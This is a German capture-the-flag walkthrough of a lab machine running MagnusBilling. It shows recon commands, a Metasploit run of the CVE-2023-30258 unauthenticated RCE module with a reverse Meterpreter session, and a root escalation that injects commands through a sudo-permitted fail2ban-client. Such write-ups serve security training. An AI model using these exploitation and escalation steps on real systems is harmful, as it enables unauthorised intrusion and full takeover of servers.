
Eine detaillierte Anleitung zum Ausnutzen von CVE-2023-30258 im Billing room und zur Eskalation über eine Fehlkonfiguration von fail2ban
Verfasst von: Aditya Bhatt | Open Source Contributor
In diesem Walkthrough stürzen wir uns voll und ganz auf den Billing-Raum, der eine anfällige MagnusBilling-Instanz, eine saftige unauth RCE (CVE-2023-30258) und eine fail2ban-sudo-Fehlkonfiguration zeigt, die förmlich „Root mich“ schreit.
Dieser Raum verbindet gekonnt automatisierte Ausnutzung mit kreativer Privilegieneskalation und gibt uns einen praktischen Einblick in reale Schwachstellen, die in VoIP-Abrechnungssoftware lauern. Wir gehen von Initialer Aufklärung bis zur Root-Shell mit vollständigem PoC, Kommentaren und 🗿-Vibes.
Nach dem Bereitstellen der Maschine fällt dir sofort wie eine falsch konfigurierte Firewall ins Auge:
http://<Maschinen_IP>/mbilling/
Das ist die MagnusBilling-Anmeldeseite. Das allein lässt die Alarmglocken schrillen – du weißt, dass dich ein saftiges CVE-Spiel erwartet.
Wir beginnen mit dem ultimativen Aufklärungs-Duo:
nmap -A -sV -p- 10.10.115.173
🧠 Ergebnisse:
/mbilling/ verfügbarAls nächstes gehen wir mit Gobuster auf Volllast-Brute-Force:
gobuster dir -u http://10.10.115.173/mbilling -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt
gobuster dir -u http://10.10.115.173/ -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt
🧠 Ergebnisse:
Dann prüfen wir die robots.txt der Seite auf etwaige Leckereien:
User-agent: *
Disallow: /mbilling/
Hmm … der Versuch, es zu verstecken, macht es nur noch begehrenswerter 😈
Ein schneller Netcat-Test bestätigt, dass er antwortet mit:
Response: Error
Message: Missing action in request
Das bestätigt weiter: Das Backend ist MagnusBilling, und der Port ist mit Asterisk Call Manager verbunden. Zeit, unsere dunklen Künste zu beschwören 🧙
Exploit: Unauthenticated Remote Code Execution in MagnusBilling Modul:
exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
Metasploit starten:
msfconsole
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
Dann die Anforderungen prüfen:
show options
Dann Folgendes setzen:
set RHOSTS 10.10.115.173
set LHOST 10.17.88.138
run
Ein paar Sekunden später … Boom. Wir haben eine Meterpreter-Sitzung!
shell
whoami ➤ asterisk
uname -a ➤ Linux Debian 6.1 x86_64
Versuchte eine TTY-Shell zu spawnen:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Wir beginnen uns nach oben zu bewegen mit:
cd ..
cd ..
Bis wir finden:
cd /home/magnus
cat user.txt
Schön! Aber wir sind noch nicht fertig. Wir brauchen root, und Magnus flüstert uns Geheimnisse zu.
Prüfen wir, was wir mit sudo ausführen können:
sudo -l
Ergebnis:
(ALL) NOPASSWD: /usr/bin/fail2ban-client
Das ist 🔥. Wir können fail2ban-client missbrauchen, um mit root-Rechten mittels Bann-Aktionen Befehle auszuführen.
Lass uns fail2ban neu starten:
sudo /usr/bin/fail2ban-client restart
Dann injizieren wir den Befehl, um die Root-Flag zu stehlen:
sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt'"
Den Bann (und damit den Befehl) auslösen:
sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1
Dann:
cat /tmp/root.txt
Gerootet. Wie. Ein. Boss. 🗿🔥
robots.txt und grabe in seltsamen Ports.fail2ban-client) sind genauso gefährlich.Diese Box war eine wunderbare Balance aus automatisierter Ausnutzung und manueller Post-Exploitation-Kreativität. Von MagnusBilling-RCE bis zum fail2ban-Rooten trifft sie alle richtigen Töne für die Playlist eines Pentesters 🎧🎯
Egal, ob du ein Anfänger bist, der sich verbessern möchte, oder ein erfahrener Krieger, der Flags sammelt – dieser ist ein Must-Pwn.
Bis zum nächsten Mal, Bleib gefährlich. Bleib neugierig. Bleib majestätisch. 🗿
| 🔎 Phase | 💥 Aktion/Genutztes Tool |
|---|
| Erster Zugriff | /mbilling-Portal und Port 5038 via Nmap + Gobuster entdeckt |
| Aufklärungsfund | MagnusBilling CMS + Asterisk Call Manager |
| Exploitation | CVE-2023-30258 via Metasploit → Meterpreter-Shell |
| Aufklärung | /home/magnus/user.txt gefunden |
| Privilegieneskalation | fail2ban-client-sudo NOPASSWD ausgenutzt → RCE als root |
| Root-Flag | /root/root.txt via fail2ban-Payload-Injektion abgerufen |